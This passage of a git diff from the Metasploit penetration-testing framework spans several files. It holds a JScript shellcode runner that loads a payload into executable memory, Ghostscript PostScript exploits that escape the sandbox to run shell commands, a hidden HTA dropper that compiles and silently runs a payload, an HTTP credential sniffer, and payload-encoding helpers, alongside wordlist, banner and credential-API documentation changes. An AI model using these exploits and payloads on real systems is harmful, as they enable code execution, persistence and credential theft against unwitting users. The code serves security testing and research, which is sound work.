var type = module.DefineType('PInvokeType',TypeAttributes.Public + TypeAttributes.BeforeFieldInit);
// Define the actual P/Invoke method
var method = type.DefineMethod(methodName, MethodAttributes.Public + MethodAttributes.HideBySig + MethodAttributes.Static + MethodAttributes.PinvokeImpl, returnType, parameterTypes);
// Apply the P/Invoke constructor
var ctor = System.Runtime.InteropServices.DllImportAttribute.GetConstructor([Type.GetType("System.String")]);
var attr = new System.Reflection.Emit.CustomAttributeBuilder(ctor, [dllName]);
method.SetCustomAttribute(attr);
// Create the temporary type, and invoke the method.
var realType = type.CreateType();
return realType.InvokeMember(methodName, BindingFlags.Public + BindingFlags.Static + BindingFlags.InvokeMethod, null, null, parameters);
}
function VirtualAlloc( lpStartAddr:UInt32, size:UInt32, flAllocationType:UInt32, flProtect:UInt32)
{
var parameterTypes:Type[] = [Type.GetType("System.UInt32"),Type.GetType("System.UInt32"),Type.GetType("System.UInt32"),Type.GetType("System.UInt32")];
var parameters:Object[] = [lpStartAddr, size, flAllocationType, flProtect];
return InvokeWin32("kernel32.dll", Type.GetType("System.IntPtr"), "VirtualAlloc", parameterTypes, parameters );
}
function CreateThread( lpThreadAttributes:UInt32, dwStackSize:UInt32, lpStartAddress:IntPtr, param:IntPtr, dwCreationFlags:UInt32, lpThreadId:UInt32)
{
var parameterTypes:Type[] = [Type.GetType("System.UInt32"),Type.GetType("System.UInt32"),Type.GetType("System.IntPtr"),Type.GetType("System.IntPtr"), Type.GetType("System.UInt32"), Type.GetType("System.UInt32") ];
var parameters:Object[] = [lpThreadAttributes, dwStackSize, lpStartAddress, param, dwCreationFlags, lpThreadId ];
return InvokeWin32("kernel32.dll", Type.GetType("System.IntPtr"), "CreateThread", parameterTypes, parameters );
}
function WaitForSingleObject( handle:IntPtr, dwMiliseconds:UInt32)
{
var parameterTypes:Type[] = [Type.GetType("System.IntPtr"),Type.GetType("System.UInt32")];
var parameters:Object[] = [handle, dwMiliseconds ];
return InvokeWin32("kernel32.dll", Type.GetType("System.IntPtr"), "WaitForSingleObject", parameterTypes, parameters );
}
function ShellCodeExec()
{
var MEM_COMMIT:uint = 0x1000;
var PAGE_EXECUTE_READWRITE:uint = 0x40;
var shellcodestr:String = '<%= file_payload %>'
var shellcode:Byte[] = System.Convert.FromBase64String(shellcodestr);
var funcAddr:IntPtr = VirtualAlloc(0, UInt32(shellcode.Length),MEM_COMMIT, PAGE_EXECUTE_READWRITE);
Marshal.Copy(shellcode, 0, funcAddr, shellcode.Length);
var hThread:IntPtr = IntPtr.Zero;
var threadId:UInt32 = 0;
// prepare data
var pinfo:IntPtr = IntPtr.Zero;
// execute native code
hThread = CreateThread(0, 0, funcAddr, pinfo, 0, threadId);
WaitForSingleObject(hThread, 0xFFFFFFFF);
}
ShellCodeExec();

View File

@ -0,0 +1,9 @@
%!PS
userdict /setpagedevice undef
a0
currentpagedevice /HWResolution get 0 (metasploit) put
{ grestore } stopped pop
(ppmraw) selectdevice
mark /OutputFile (%pipe%echo vulnerable > /dev/tty) currentdevice putdeviceprops
{ showpage } stopped pop
quit

View File

@ -0,0 +1,81 @@
%!PS
% This is ghostscript bug #699687 (split out from bug #699654)
% ImageMagick define setpagedevice, just remove their definition. This doesn't
% do anything if not using ImageMagick.
userdict /setpagedevice undef
% function to check if we're on Linux or Windows
/iswindows {
% Just checking if paths contain drive
null (w) .tempfile closefile 1 get 16#3A eq
} def
% just select a papersize to initialize page device
a0
% The bug is that if you can make grestore or restore fail non-fatally,
% LockSafetyParams isn't restored properly. grestore will fail if you set crazy
% properties in your pagedevice, like a nonsense resolution.
%
% Normally it would be something like [72.0 72.0], but you can't just def
% HWResolution to something else (for example), because it's readonly:
%
% GS>currentpagedevice wcheck ==
% false
%
% But you can just put or astore into it, because the array itself is writable:
% GS>currentpagedevice /HWResolution get wcheck ==
% true
%
% Lets just put some junk in there.
currentpagedevice /HWResolution get 0 (foobar) put
% This grestore will fail, stopped just catches the error instead of aborting.
{ grestore } stopped pop
% Now LockSafetyParams will be incorrectly unset, you can check like this:
% GS>mark currentdevice getdeviceprops .dicttomark /.LockSafetyParams get == pop
% false
% We can change and configure devices now, so make sure we're using one with
% a OutputFile property.
(ppmraw) selectdevice
% Check if we're on Windows or UNIX
iswindows {
% This is Windows, gswin32c.exe supports %pipe%, so you can just run calc.exe.
%
% The graphical version doesn't seem to support %pipe%, but you can create
% arbitrary files. If something is using the api (gs32dll.dll), it may or
% may not support %pipe%.
/getstartupdirwindows {
% This figures out startup location from %TEMP% (Tested on Win10)
(C:\\USERS\\XXXXXX~1\\STARTM~1\\PROGRAMS\\STARTUP\\)
dup 0 null (w) .tempfile closefile 0 18 getinterval putinterval
} def
% (directory) (extension) randfile (result)
/randfile {
% pick a random filename
exch rand 32 string cvs concatstrings exch concatstrings
} def
mark /OutputFile (%pipe%calc.exe) currentdevice putdeviceprops
% if you need to create files, use txtwrite like this:
%mark /OutputFile getstartupdirwindows (.bat) randfile
% { (txtwrite) selectdevice } stopped pop putdeviceprops setdevice
%0 0 moveto
%(REM This is an exploit demo\n) show
%(calc.exe\n) show
} {
% This is UNIX, just run a shell command
mark /OutputFile (%pipe%id) currentdevice putdeviceprops
} ifelse
{ showpage } stopped pop
quit

View File

@ -0,0 +1,150 @@
<html>
<head>
<HTA:APPLICATION WINDOWSTATE="minimize" SHOWINTASKBAR="no" SYSMENU="no" CAPTION="no" />
</head>
</html>
<script>
window.resizeTo(1, 1);
window.moveTo(-2000, -2000);
// Base64 implementation found on http://www.webtoolkit.info/javascript-base64.html
// variable names changed to make obfuscation easier
var Base64 = {
// private property
_keyStr:"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=",
// public method for decoding
decode : function (input) {
var output = "";
var chr1, chr2, chr3;
var enc1, enc2, enc3, enc4;
var i = 0;
input = input.replace(/[^A-Za-z0-9\+\/\\=]/g, "");
while (i < input.length) {
enc1 = this._keyStr.indexOf(input.charAt(i++));
enc2 = this._keyStr.indexOf(input.charAt(i++));
enc3 = this._keyStr.indexOf(input.charAt(i++));
enc4 = this._keyStr.indexOf(input.charAt(i++));
chr1 = (enc1 << 2) | (enc2 >> 4);
chr2 = ((enc2 & 15) << 4) | (enc3 >> 2);
chr3 = ((enc3 & 3) << 6) | enc4;
output = output + String.fromCharCode(chr1);
if (enc3 != 64) {
output = output + String.fromCharCode(chr2);
}
if (enc4 != 64) {
output = output + String.fromCharCode(chr3);
}
}
output = Base64._utf8_decode(output);
return output;
},
_utf8_decode : function (utftext) {
var string = "";
var input_idx = 0;
var chr1 = 0;
var chr2 = 0;
var chr3 = 0;
while ( input_idx < utftext.length ) {
chr1 = utftext.charCodeAt(input_idx);
if (chr1 < 128) {
string += String.fromCharCode(chr1);
input_idx++;
}
else if((chr1 > 191) && (chr1 < 224)) {
chr2 = utftext.charCodeAt(input_idx+1);
string += String.fromCharCode(((chr1 & 31) << 6) | (chr2 & 63));
input_idx += 2;
} else {
chr2 = utftext.charCodeAt(input_idx+1);
chr3 = utftext.charCodeAt(input_idx+2);
string += String.fromCharCode(((chr1 & 15) << 12) | ((chr2 & 63) << 6) | (chr3 & 63));
input_idx += 3;
}
}
return string;
}
};
decodedStr = Base64.decode("<%= jsnet_encoded %>");
function getTempPath()
{
var TemporaryFolder = 2;
var fso = new ActiveXObject("Scripting.FileSystemObject");
var tempPath = fso.GetSpecialFolder(TemporaryFolder);
return tempPath;
}
var path = getTempPath();
function makefile()
{
var fso = new ActiveXObject("Scripting.FileSystemObject");
var thefile = fso.CreateTextFile(path + "\\\\<%= fname %>.js", true);
thefile.WriteLine(decodedStr);
thefile.Close();
}
makefile();
function findJSC()
{
var fso = new ActiveXObject("Scripting.FileSystemObject");
var comPath = "C:\\\\Windows\\\\Microsoft.NET\\\\Framework\\\\";
var jscPath = "";
if(!fso.FolderExists(comPath))
{
return false;
}
var frameFolder = fso.GetFolder(comPath);
var fEnum = new Enumerator(frameFolder.SubFolders);
while(!fEnum.atEnd())
{
jscPath = fEnum.item().Path;
if(fso.FileExists(jscPath + "\\\\jsc.exe"))
{
return jscPath + "\\\\jsc.exe";
}
fEnum.moveNext();
}
return false;
}
var comPath = findJSC();
if(comPath)
{
var fso = new ActiveXObject("Scripting.FileSystemObject");
var objShell = new ActiveXObject("WScript.shell");
var js_f = path + "\\\\<%= fname %>.js";
var ex = path + "\\\\<%= fname %>.exe";
objShell.run(comPath + " /out:" + ex + " " + js_f);
while(!fso.FileExists(ex)) { }
objShell.run(ex, 0);
}
</script>

View File

@ -1,22 +1,24 @@
# Psnuffle password sniffer add-on class for HTTP GET URL's
# Psnuffle password sniffer add-on class for HTTP URLs
# part of psnuffle sniffer auxiliary module
#
# Very simple example how to write sniffer extensions
#
# Sniffer class for GET URL's
#
# Sniffer class for GET/POST URLs.
# Also extracts HTTP Basic authentication credentials.
#
class SnifferURL < BaseProtocolParser
def register_sigs
self.sigs = {
:get => /^GET\s+([^\n]+)\s+HTTP\/\d\.\d/i,
:webhost => /^HOST\:\s+([^\n\r]+)/i,
:get => /^GET\s+([^\n]+)\s+HTTP\/\d\.\d/i,
:post => /^POST\s+([^\n]+)\s+HTTP\/\d\.\d/i,
:webhost => /^HOST:\s+([^\n\r]+)/i,
:basic_auth => /^Authorization:\s+Basic\s+([^\n\r]+)/i,
}
end
def parse(pkt)
# We want to return immediantly if we do not have a packet which is handled by us
# We want to return immediately if we do not have a packet which is handled by us
return unless pkt.is_tcp?
return if (pkt.tcp_sport != 80 and pkt.tcp_dport != 80)
return if (pkt.tcp_sport != 80 && pkt.tcp_dport != 80)
s = find_session((pkt.tcp_sport == 80) ? get_session_src(pkt) : get_session_dst(pkt))
self.sigs.each_key do |k|
@ -34,10 +36,16 @@ class SnifferURL < BaseProtocolParser
case matched
when :webhost
sessions[s[:session]].merge!({k => matches})
if(s[:get])
if s[:get]
print_status("HTTP GET: #{s[:session]} http://#{s[:webhost]}#{s[:get]}")
sessions.delete(s[:session])
return
end
if s[:post]
print_status("HTTP POST: #{s[:session]} http://#{s[:webhost]}#{s[:post]}")
end
if s[:basic_auth]
s[:user], s[:pass] = Rex::Text.decode_base64(s[:basic_auth]).split(':', 2)
report_auth_info s
print_status "HTTP Basic Authentication: #{s[:session]} >> #{s[:user]} / #{s[:pass]}"
end
when nil
# No matches, no saved state
@ -45,4 +53,3 @@ class SnifferURL < BaseProtocolParser
end # end of each_key
end # end of parse
end # end of URL sniffer

Binary file not shown.

Binary file not shown.

View File

@ -0,0 +1,114 @@
/* from https://github.com/mdornseif/didentd */
/* public domain
* BASE64 on stdin -> converted data on stdout */
/* arbitrary data on stdin -> BASE64 data on stdout
* UNIX's newline convention is used, i.e. one ASCII control-j (10 decimal).
*
* public domain
*/
/* Hacked by drt@un.bewaff.net to be a library function working on memory blocks
*
*/
static unsigned char alphabet[64] = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/";
int base64decode(char *dest, const char *src, int l)
{
static char inalphabet[256], decoder[256];
static bool table_initialized = false;
int i, bits, c, char_count;
int rpos;
int wpos = 0;
if (!table_initialized) {
for (i = (sizeof alphabet) - 1; i >= 0; i--) {
inalphabet[alphabet[i]] = 1;
decoder[alphabet[i]] = i;
}
table_initialized = true;
}
char_count = 0;
bits = 0;
for (rpos = 0; rpos < l; rpos++) {
c = src[rpos];
if (c == '=') {
break;
}
if (c > 255 || !inalphabet[c]) {
return -1;
}
bits += decoder[c];
char_count++;
if (char_count < 4) {
bits <<= 6;
} else {
dest[wpos++] = bits >> 16;
dest[wpos++] = (bits >> 8) & 0xff;
dest[wpos++] = bits & 0xff;
bits = 0;
char_count = 0;
}
}
switch (char_count) {
case 1:
return -1;
break;
case 2:
dest[wpos++] = bits >> 10;
break;
case 3:
dest[wpos++] = bits >> 16;
dest[wpos++] = (bits >> 8) & 0xff;
break;
}
return wpos;
}
int base64encode(char *dest, const char *src, int l)
{
int bits, c, char_count;
int rpos;
int wpos = 0;
char_count = 0;
bits = 0;
for (rpos = 0; rpos < l; rpos++) {
c = src[rpos];
bits += c;
char_count++;
if (char_count < 3) {
bits <<= 8;
} else {
dest[wpos++] = alphabet[bits >> 18];
dest[wpos++] = alphabet[(bits >> 12) & 0x3f];
dest[wpos++] = alphabet[(bits >> 6) & 0x3f];
dest[wpos++] = alphabet[bits & 0x3f];
bits = 0;
char_count = 0;
}
}
if (char_count != 0) {
bits <<= 16 - (8 * char_count);
dest[wpos++] = alphabet[bits >> 18];
dest[wpos++] = alphabet[(bits >> 12) & 0x3f];
if (char_count == 1) {
dest[wpos++] = '=';
dest[wpos++] = '=';
} else {
dest[wpos++] = alphabet[(bits >> 6) & 0x3f];
dest[wpos++] = '=';
}
}
return wpos;
}

View File

@ -0,0 +1,54 @@
//
// License:
// https://github.com/rapid7/metasploit-framework/blob/master/LICENSE
//
// This code was originally obtained and modified from the following source
// by Bobin Verton:
// https://gist.github.com/rverton/a44fc8ca67ab9ec32089
#define N 256 // 2^8
void swap(unsigned char *a, unsigned char *b) {
int tmp = *a;
*a = *b;
*b = tmp;
}
int KSA(char *key, unsigned char *S) {
int len = strlen(key);
int j = 0;
for (int i = 0; i < N; i++) {
S[i] = i;
}
for (int i = 0; i < N; i++) {
j = (j + S[i] + key[i % len]) % N;
swap(&S[i], &S[j]);
}
return 0;
}
int PRGA(unsigned char *S, char *plaintext, unsigned char *ciphertext, int plainTextSize) {
int i = 0;
int j = 0;
for (size_t n = 0, len = plainTextSize; n < len; n++) {
i = (i + 1) % N;
j = (j + S[i]) % N;
swap(&S[i], &S[j]);
int rnd = S[(S[i] + S[j]) % N];
ciphertext[n] = rnd ^ plaintext[n];
}
return 0;
}
int RC4(char *key, char *plaintext, unsigned char *ciphertext, int plainTextSize) {
unsigned char S[N];
KSA(key, S);
PRGA(S, plaintext, ciphertext, plainTextSize);
return 0;
}

View File

@ -6,6 +6,8 @@
#define NULL ((void *)0)
#define TRUE 1
#define FALSE 0
#define true 1
#define false 0
#define VOID void
#define _tWinMain WinMain
#define CALLBACK __stdcall
@ -104,6 +106,7 @@ typedef void* LPCVOID;
typedef ULONG_PTR DWORD_PTR;
typedef void* HWND;
typedef int BOOL;
typedef int bool;
typedef BOOL* PBOOL;
typedef LONG_PTR LRESULT;
typedef UINT_PTR WPARAM;

View File

@ -0,0 +1,11 @@
//
// License:
// https://github.com/rapid7/metasploit-framework/blob/master/LICENSE
//
void xor(char* dest, char* src, char key, int len) {
for (int i = 0; i < len; i++) {
char c = src[i] ^ key;
dest[i] = c;
}
}

View File

@ -1,7 +1,7 @@
%clr
______________________________________________________________________________
| |
| %bld%grnMETASPLOIT CYBER MISSILE COMMAND V4%clr |
| %bld%grnMETASPLOIT CYBER MISSILE COMMAND V5%clr |
|______________________________________________________________________________|
%yel\%clr %yel/%clr %yel/%clr
%yel\%clr . %yel/%clr %yel/%clr x
@ -25,6 +25,6 @@
#### %yel/%clr %yel\%clr %yel/%clr %yel\%clr %yel/%clr %yel\%clr ########### %yel/%clr %yel\%clr %yel/%clr %yel\%clr %yel/%clr %yel\%clr ####
################################################################################
################################################################################
# %bldWAVE 4%clr ######## %bldSCORE 31337%clr ################################## %bldHIGH FFFFFFFF%clr #
# %bldWAVE 5%clr ######## %bldSCORE 31337%clr ################################## %bldHIGH FFFFFFFF%clr #
################################################################################
https://metasploit.com%clr

View File

@ -14,10 +14,22 @@
<%= normalize_platforms(items[:mod_platforms]) %>
<% end %>
## Reliability
## Module Ranking
<%= normalize_rank(items[:mod_rank]) %>
## Side Effects
<%= normalize_side_effects(items[:mod_side_effects]) %>
## Reliability
<%= normalize_reliability(items[:mod_reliability]) %>
## Stability
<%= normalize_stability(items[:mod_stability]) %>
## Related Pull Requests
<%= normalize_pull_requests(items[:mod_pull_requests]) %>

View File

@ -0,0 +1,6 @@
```
msf > use <%= mod.fullname %>
msf <%= mod.type %>(<%= mod.shortname %>) > show options
... show and set options ...
msf <%= mod.type %>(<%= mod.shortname %>) > exploit
```

0
data/wordlists/cms400net_default_userpass.txt Executable file → Normal file
View File

0
data/wordlists/db2_default_pass.txt Executable file → Normal file
View File

0
data/wordlists/db2_default_user.txt Executable file → Normal file
View File

0
data/wordlists/db2_default_userpass.txt Executable file → Normal file
View File

0
data/wordlists/hci_oracle_passwords.csv Executable file → Normal file
View File

0
data/wordlists/http_default_pass.txt Executable file → Normal file
View File

0
data/wordlists/http_default_userpass.txt Executable file → Normal file
View File

0
data/wordlists/http_default_users.txt Executable file → Normal file
View File

0
data/wordlists/joomla.txt Executable file → Normal file
View File

0
data/wordlists/multi_vendor_cctv_dvr_pass.txt Executable file → Normal file
View File

0
data/wordlists/multi_vendor_cctv_dvr_users.txt Executable file → Normal file
View File

0
data/wordlists/namelist.txt Executable file → Normal file
View File

0
data/wordlists/oracle_default_hashes.txt Executable file → Normal file
View File

0
data/wordlists/oracle_default_passwords.csv Executable file → Normal file
View File

0
data/wordlists/oracle_default_userpass.txt Executable file → Normal file
View File

1
data/wordlists/password.lst Executable file → Normal file
View File

@ -86241,6 +86241,7 @@ wharves
what
whatchamacallit
whatever
whatevers2009
whatley
whatnot
whatshername

0
data/wordlists/postgres_default_pass.txt Executable file → Normal file
View File

0
data/wordlists/postgres_default_user.txt Executable file → Normal file
View File

0
data/wordlists/postgres_default_userpass.txt Executable file → Normal file
View File

0
data/wordlists/root_userpass.txt Executable file → Normal file
View File

0
data/wordlists/rpc_names.txt Executable file → Normal file
View File

0
data/wordlists/rservices_from_users.txt Executable file → Normal file
View File

0
data/wordlists/sap_common.txt Executable file → Normal file
View File

0
data/wordlists/sap_icm_paths.txt Executable file → Normal file
View File

0
data/wordlists/sensitive_files.txt Executable file → Normal file
View File

0
data/wordlists/sid.txt Executable file → Normal file
View File

0
data/wordlists/snmp_default_pass.txt Executable file → Normal file
View File

0
data/wordlists/tftp.txt Executable file → Normal file
View File

0
data/wordlists/tomcat_mgr_default_pass.txt Executable file → Normal file
View File

0
data/wordlists/tomcat_mgr_default_userpass.txt Executable file → Normal file
View File

0
data/wordlists/tomcat_mgr_default_users.txt Executable file → Normal file
View File

0
data/wordlists/unix_passwords.txt Executable file → Normal file
View File

0
data/wordlists/unix_users.txt Executable file → Normal file
View File

0
data/wordlists/vnc_passwords.txt Executable file → Normal file
View File

0
data/wordlists/vxworks_collide_20.txt Executable file → Normal file
View File

0
data/wordlists/vxworks_common_20.txt Executable file → Normal file
View File

File diff suppressed because it is too large Load Diff

View File

@ -0,0 +1,66 @@
require 'swagger/blocks'
module AuthApiDoc
include Swagger::Blocks
MESSAGE_DESC = 'The status of the authentication request.'
MESSAGE_EXAMPLE = 'Generated new API token.'
TOKEN_DESC = 'The Authentication Bearer token'
TOKEN_EXAMPLE = '899d2f45e12429d07427230289400a4594bcffe32169ebb826b4ffa9b90e1d1586f15fa42f069bb7'
# Swagger documentation for auth model
swagger_schema :Auth do
property :message, type: :string, description: MESSAGE_DESC, example: MESSAGE_EXAMPLE
property :token, type: :string, description: TOKEN_DESC, example: TOKEN_EXAMPLE
end
swagger_path '/api/v1/auth/generate-token' do
# Swagger documentation for /api/v1/auth/generate-token GET
operation :get do
key :description, 'Return a valid Authorization Bearer token.'
key :tags, [ 'auth' ]
parameter do
key :name, :username
key :in, :query
key :description, 'The username for the user you want to authenticate.'
key :required, true
key :type, :string
end
parameter do
key :name, :password
key :in, :query
key :description, 'The password for the user you want to authenticate.'
key :required, true
key :type, :string
end
response 200 do
key :description, 'Returns a valid auth token.'
schema do
property :data do
key :'$ref', :Auth
end
end
end
response 401 do
key :description, 'Invalid username or password. ' + RootApiDoc::DEFAULT_RESPONSE_401
schema do
key :'$ref', :AuthErrorModel
end
end
response 500 do
key :description, RootApiDoc::DEFAULT_RESPONSE_500
schema do
key :'$ref', :ErrorModel
end
end
end
end
end

View File

@ -5,34 +5,105 @@ module CredentialApiDoc
include Swagger::Blocks
ORIGIN_ID_DESC = 'The ID of the origin record associated with this credential.'
ORIGIN_TYPE = 'The class name within Metasploit::Credential that indicates where this credential came from.'
ORIGIN_TYPE_DESC = 'The class name within Metasploit::Credential that indicates where this credential came from.'
PRIVATE_ID_DESC = 'The ID of the Metasploit::Credential::Private record associated with this credential.'
PUBLIC_ID_DESC = 'The ID of the Metasploit::Credential::Public record associated with this credential.'
REALM_ID_DESC = 'The ID of the Metasploit::Credential::Realm from where the credential was gathered.'
LOGINS_COUNT_DESC = 'The number of successful login attempts that were completed using this credential.'
ORIGIN_TYPE_ENUM = [
ADDRESS_DESC = 'The IP address of the host this credential was collected from.'
ADDRESS_EXAMPLE = '127.0.0.1'
SERVICE_NAME_DESC = 'The name of the service from which this credential was collected from.'
SERVICE_NAME_EXAMPLE = 'ssh'
PORT_DESC = 'The port on which the service was listening where this credential was collected from.'
PORT_EXAMPLE = '22'
PROTOCOL_DESC = 'The protocol the service was using.'
PROTOCOL_ENUM = [ 'tcp', 'udp' ]
MODULE_FULLNAME_DESC = 'The full name of the Metasploit module that was used to collect this credential.'
MODULE_FULLNAME_EXAMPLE = 'auxiliary/scanner/smb/smb_login'
FILENAME_DESC = 'The filename of the file that was imported. This is necessary when the origin_type is import.'
FILENAME_EXAMPLE = '/etc/shadow'
POST_REFERENCE_NAME_DESC = 'The reference name of the Metasploit Post module used to collect this credential.'
POST_REFERENCE_NAME_EXAMPLE = 'post/linux/gather/hashdump'
SESSION_ID_DESC = 'The ID of the session where this credential was collected from.'
USERNAME_DESC = 'The username for this credential.'
USERNAME_EXAMPLE = 'administrator'
PUBLIC_TYPE_DESC = 'The type of username that this falls into. This is used for searching for similar credentials.'
PRIVATE_TYPE_DESC = 'The type of password data for this credential.'
DATA_DESC = 'The private data for this credential. The semantic meaning of this data varies based on the type.'
DATA_EXAMPLE = "'password123', '$1$5nfRD/bA$y7ZZD0NimJTbX9FtvhHJX1', or '$NT$7f8fe03093cc84b267b109625f6bbf4b'"
JTR_FORMAT_DESC = 'Comma-separated list of the formats for John the ripper to use to try and crack this.'
JTR_FORMAT_EXAMPLE = 'md5,des,bsdi,crypt'
PUBLIC_TYPE_ENUM = [ 'Metasploit::Credential::BlankUsername', 'Metasploit::Credential::Username' ]
PRIVATE_TYPE_CLASS_ENUM = [
'Metasploit::Credential::ReplayableHash',
'Metasploit::Credential::NonreplayableHash',
'Metasploit::Credential::NTLMHash',
'Metasploit::Credential::Password',
'Metasploit::Credential::PasswordHash',
'Metasploit::Credential::SSHKey',
'Metasploit::Credential::PostgresMD5',
'Metasploit::Credential::BlankPassword'
]
PRIVATE_TYPE_ENUM = [
'password',
'ssh_key',
'ntlm_hash',
'postgres_md5',
'nonreplayable_hash',
'<blank>'
]
ORIGIN_TYPE_CLASS_ENUM = [
'Metasploit::Credential::Origin::Import',
'Metasploit::Credential::Origin::Manual',
'Metasploit::Credential::Origin::Service',
'Metasploit::Credential::Origin::Session'
]
ORIGIN_TYPE_ENUM = [
'import',
'manual',
'service',
'session'
]
# Swagger documentation for Credential model
swagger_schema :Credential do
key :required, [:origin_id]
property :id, type: :integer, format: :int32, description: RootApiDoc::ID_DESC
property :origin_id, type: :integer, format: :int32, description: ORIGIN_ID_DESC
property :origin_type, type: :string, description: ORIGIN_TYPE, enum: ORIGIN_TYPE_ENUM
property :origin_type, type: :string, description: ORIGIN_TYPE_DESC, enum: ORIGIN_TYPE_CLASS_ENUM
property :private_id, type: :integer, format: :int32, description: PRIVATE_ID_DESC
property :public_id, type: :integer, format: :int32, description: PUBLIC_ID_DESC
property :realm_id, type: :integer, format: :int32, description: REALM_ID_DESC
property :workspace_id, type: :integer, format: :int32, description: RootApiDoc::WORKSPACE_ID_DESC
property :workspace_id, type: :integer, format: :int32, required: true, description: RootApiDoc::WORKSPACE_ID_DESC
property :logins_count, type: :integer, format: :int32, description: LOGINS_COUNT_DESC
property :logins do
key :type, :array
items do
key :'$ref', :Login
end
end
property :public, '$ref': :Public
property :private, '$ref': :Private
property :created_at, type: :string, format: :date_time, description: RootApiDoc::CREATED_AT_DESC
property :updated_at, type: :string, format: :date_time, description: RootApiDoc::UPDATED_AT_DESC
end
swagger_schema :Public do
key :required, [:username, :type]
property :id, type: :integer, format: :int32, description: RootApiDoc::ID_DESC
property :username, type: :string, description: USERNAME_DESC, example: USERNAME_EXAMPLE
property :type, type: :string, description: PUBLIC_TYPE_DESC, enum: PUBLIC_TYPE_ENUM
property :created_at, type: :string, format: :date_time, description: RootApiDoc::CREATED_AT_DESC
property :updated_at, type: :string, format: :date_time, description: RootApiDoc::UPDATED_AT_DESC
end
swagger_schema :Private do
key :required, [:data, :type]
property :id, type: :integer, format: :int32, description: RootApiDoc::ID_DESC
property :data, type: :string, description: DATA_DESC, example: DATA_EXAMPLE
property :type, type: :string, description: PRIVATE_TYPE_DESC, enum: PRIVATE_TYPE_CLASS_ENUM
property :jtr_format, type: :string, description: JTR_FORMAT_DESC, example: JTR_FORMAT_EXAMPLE
property :created_at, type: :string, format: :date_time, description: RootApiDoc::CREATED_AT_DESC
property :updated_at, type: :string, format: :date_time, description: RootApiDoc::UPDATED_AT_DESC
end
@ -46,53 +117,69 @@ module CredentialApiDoc
parameter :workspace
parameter do
key :in, :body
key :name, :body
key :required, true
schema do
property :svcs do
key :in, :body
key :description, 'Only return credentials of the specified service.'
key :type, :array
key :required, false
items do
key :type, :string
end
end
property :ptype do
key :in, :body
key :description, 'The type of credential to return.'
key :type, :string
key :required, false
key :enum, ['password','ntlm','hash']
end
property :user do
key :in, :body
key :description, 'Only return credentials where the user matches this regex.'
key :type, :string
key :required, false
end
property :pass do
key :in, :body
key :description, 'Only return credentials where the password matches this regex.'
key :type, :string
key :required, false
end
key :in, :query
key :name, :svcs
key :description, 'Only return credentials of the specified service.'
key :example, ['ssh', 'owa', 'smb']
key :type, :array
key :required, false
items do
key :type, :string
end
end
parameter do
key :in, :query
key :name, :type
key :description, 'The type of credential to return.'
key :type, :string
key :required, false
key :enum, PRIVATE_TYPE_CLASS_ENUM
end
parameter do
key :in, :query
key :name, :user
key :description, 'Only return credentials where the user matches this regex.'
key :example, 'administrator'
key :type, :string
key :required, false
end
parameter do
key :in, :query
key :name, :pass
key :description, 'Only return credentials where the password matches this regex.'
key :example, 'password123'
key :type, :string
key :required, false
end
response 200 do
key :description, 'Returns credential data.'
schema do
key :type, :array
items do
key :'$ref', :Credential
property :data do
key :type, :array
items do
key :'$ref', :Credential
end
end
end
end
response 401 do
key :description, RootApiDoc::DEFAULT_RESPONSE_401
schema do
key :'$ref', :AuthErrorModel
end
end
response 500 do
key :description, RootApiDoc::DEFAULT_RESPONSE_500
schema do
key :'$ref', :ErrorModel
end
end
end
# Swagger documentation for /api/v1/credentials POST
@ -105,99 +192,163 @@ module CredentialApiDoc
key :name, :body
key :description, 'The attributes to assign to the credential.'
key :required, true
schema do
property :workspace_id, type: :integer, format: :int32, required: true, description: RootApiDoc::WORKSPACE_ID_DESC
property :username, type: :string, description: USERNAME_DESC, example: USERNAME_EXAMPLE
property :private_data, type: :string, description: DATA_DESC, example: DATA_EXAMPLE
property :private_type, type: :string, description: PRIVATE_TYPE_DESC, enum: PRIVATE_TYPE_ENUM
property :jtr_format, type: :string, description: JTR_FORMAT_DESC, example: JTR_FORMAT_EXAMPLE
property :address, type: :string, format: :ipv4, required: true, description: ADDRESS_DESC, example: ADDRESS_EXAMPLE
property :port, type: :int32, format: :int32, description: PORT_DESC, example: PORT_EXAMPLE
property :service_name, type: :string, description: SERVICE_NAME_DESC, example: SERVICE_NAME_EXAMPLE
property :protocol, type: :string, description: PROTOCOL_DESC, enum: PROTOCOL_ENUM
property :origin_type, type: :string, description: ORIGIN_TYPE_DESC, enum: ORIGIN_TYPE_ENUM
property :module_fullname, type: :string, description: MODULE_FULLNAME_DESC, example: MODULE_FULLNAME_EXAMPLE
property :filename, type: :string, description: FILENAME_DESC, example: FILENAME_EXAMPLE
property :session_id, type: :integer, format: :int32, description: SESSION_ID_DESC
property :post_reference_name, type: :string, description: POST_REFERENCE_NAME_DESC, example: POST_REFERENCE_NAME_EXAMPLE
end
end
response 200 do
key :description, RootApiDoc::DEFAULT_RESPONSE_200
schema do
property :data do
key :'$ref', :Credential
end
end
end
response 401 do
key :description, RootApiDoc::DEFAULT_RESPONSE_401
schema do
key :'$ref', :AuthErrorModel
end
end
response 500 do
key :description, RootApiDoc::DEFAULT_RESPONSE_500
schema do
key :'$ref', :ErrorModel
end
end
end
# Swagger documentation for /api/v1/credentials/ DELETE
operation :delete do
key :description, 'Delete the specified credentials.'
key :tags, [ 'credential' ]
parameter :delete_opts
response 200 do
key :description, 'Returns an array containing the successfully deleted credentials.'
schema do
key :type, :array
items do
key :'$ref', :Credential
end
end
end
response 401 do
key :description, RootApiDoc::DEFAULT_RESPONSE_401
schema do
key :'$ref', :AuthErrorModel
end
end
response 500 do
key :description, RootApiDoc::DEFAULT_RESPONSE_500
schema do
key :'$ref', :ErrorModel
end
end
end
end
swagger_path '/api/v1/credentials/{id}' do
# Swagger documentation for api/v1/credentials/:id GET
operation :get do
key :description, 'Return credential that is stored in the database.'
key :tags, [ 'credential' ]
parameter :workspace
parameter :non_dead
parameter :address
parameter do
key :name, :id
key :in, :path
key :description, 'ID of credential to retrieve.'
key :required, true
key :type, :integer
key :format, :int32
end
response 200 do
key :description, 'Returns credential data.'
schema do
property :data do
key :'$ref', :Credential
end
end
end
response 401 do
key :description, RootApiDoc::DEFAULT_RESPONSE_401
schema do
key :'$ref', :AuthErrorModel
end
end
response 500 do
key :description, RootApiDoc::DEFAULT_RESPONSE_500
schema do
key :'$ref', :ErrorModel
end
end
end
#Swagger documentation for /api/v1/credentials/:id PUT
operation :put do
key :description, 'Update the attributes an existing credential.'
key :tags, [ 'credential' ]
